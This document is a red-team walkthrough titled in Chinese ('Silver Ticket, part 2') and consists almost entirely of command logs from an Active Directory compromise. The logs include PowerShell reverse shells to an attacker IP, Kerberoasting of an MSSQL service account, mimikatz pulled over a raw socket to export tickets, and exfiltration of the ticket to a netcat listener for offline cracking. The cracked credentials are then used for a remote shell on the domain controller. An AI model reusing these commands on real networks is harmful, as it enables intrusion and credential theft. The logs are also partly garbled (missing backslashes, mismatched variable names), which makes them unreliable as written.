红队视角之白银票据(二)

os-shell> whoamido you want to retrieve the command standard output? [Y/n/a] y[21:52:27] [INFO] theQL query used returns 1 entries[21:52:27] [INFO] retrieved: dummydomain\andrewcommand standard output [1]:[*] dummydomainandrew         

os-shell>powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<our_public_ip>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System. Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close ()"

PS C:windowssystem32> net user andrew /domain---snip--Local Group MembershipsGlobal Group memberships *Domain UsersThe command completed successfully.PS C:Windowssystem32> net localgroup administratorsAlias name administratorsComment Administrators have complete and unrestricted access to the computer/domainMembers-------------------------------------------------------------------------------AdministratorDUMMYDOMAINDomain AdminsThe command completed successfully.PS C:Windowssystem32>cmd /c echo %COMPUTERNAME%SQLSRV1PS C:Windowssystem32>cmd /c echo %USERDOMAIN%DUMMYDOMAIN

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

PS C:windowssystem32>setspn -F -Q *svc/*MSSQLSvc/SRVSQL2.dummydomain.local:1433

PS C:windowssystem32>setspn -F -Q MSSQLSvc/SRVSQL2.dummydomain.local:1433         
CN=serviceuser,CN=Users,DC=dummycompany,DC=localMSSQLSvc/SRVSQL2.dummydomain.local:1433

PS C:windowssystem32>net user serviceuser /domainLocal Group MembershipsGlobal Group memberships *Domain Users *Domain AdminsThe command completed successfully.

cat mimikatz.ps1 | nc -lvp 80

PS C:Windowssystem32>$c=New-Object System.Net.Sockets.TCPClient('our_ip',80);$s= $c.GetStream();[byte[]]$b=0.. 65535|%{0};while(($i = $s.Read($b,0,$b.Length)) -ne 0){;$d=$d+(New-Object -TypeName System.Text. ASCIIEncoding).GetString($b,0, $i);}$client.Close();echo $d > m.ps1

PS C:tmp> Add-Type -AssemblyName System.IdentityModelPS C:tmp> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SRVSQL2.dummydomain.local:1433"Id : uuid-fddcfe2e-196b-4f31-bb5e-9de0d312f4e1-2 SecurityKeys : {Syst

PS C:tmp>klist#2> Client: andrew @ DUMMYDOMAIN.LOCAL Server: MSSQLSvc/SRVSQL2.dummydomain.local @ DUMMYDOMAIN.LOCAL KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize Start Time: 3/5/2017 18:56:52 (local) End Time: 3/6/2017 4:43:54 (local) Renew Time: 3/12/2017 18:43:54 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0 Kdc Called: DC1.dummydomain.local         

PS C:tmp>. .m.ps1PS C:tmp>Invoke-obfuscated -Command '"kerberos::list /export"'PS C:tmp>dir *.kirbi...-a--- 3/5/2017 7:15 PM 1440 2-40a10000-andrew@mssqlsvc~srvsql2 .dummydomain.local-dummmydomain.LO CAL.kirbi

#nc -lvp 80 > silver.krb

PS C:tmp>copy  2-40a10000-andrew@mssqlsvc~srvsql2.dummydomain.local-dummmydomain.LOCAL.kirbi sql.krbPS C:tmp>$c=New-Object System.Net.Sockets.TCPClient('',80);$s=[System.IO.File]::ReadAllBytes("c:TMPsql.krb")$st=$client.GetStream();$st.Write($s,0,$s.Length);$st.Flush();$c.Close()

#python ./tgsrepcrack.py ourwordlist.txt silver.krb

PS C:tmp>$user = 'dummydomainserviceuser'PS C:tmp>$psw = 'Passw0rd'PS C:tmp>$secpsw= ConvertTo-SecureString $password -AsPlainText -ForcePS C:tmp>$credential = New-Object System.Management.Automation.PSCredential $user, $secpsw

PS C:tmp>invoke-command -credential $credential -computername SRVDC1 -scriptblock {$client = New-Object System.Net.Sockets.TCPClient('',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}

PS C:UsersserviceuserDocuments> whoamimydomainbserviceuserPS C:UsersserviceuserDocuments> cmd /c echo %computername%SRVCDC1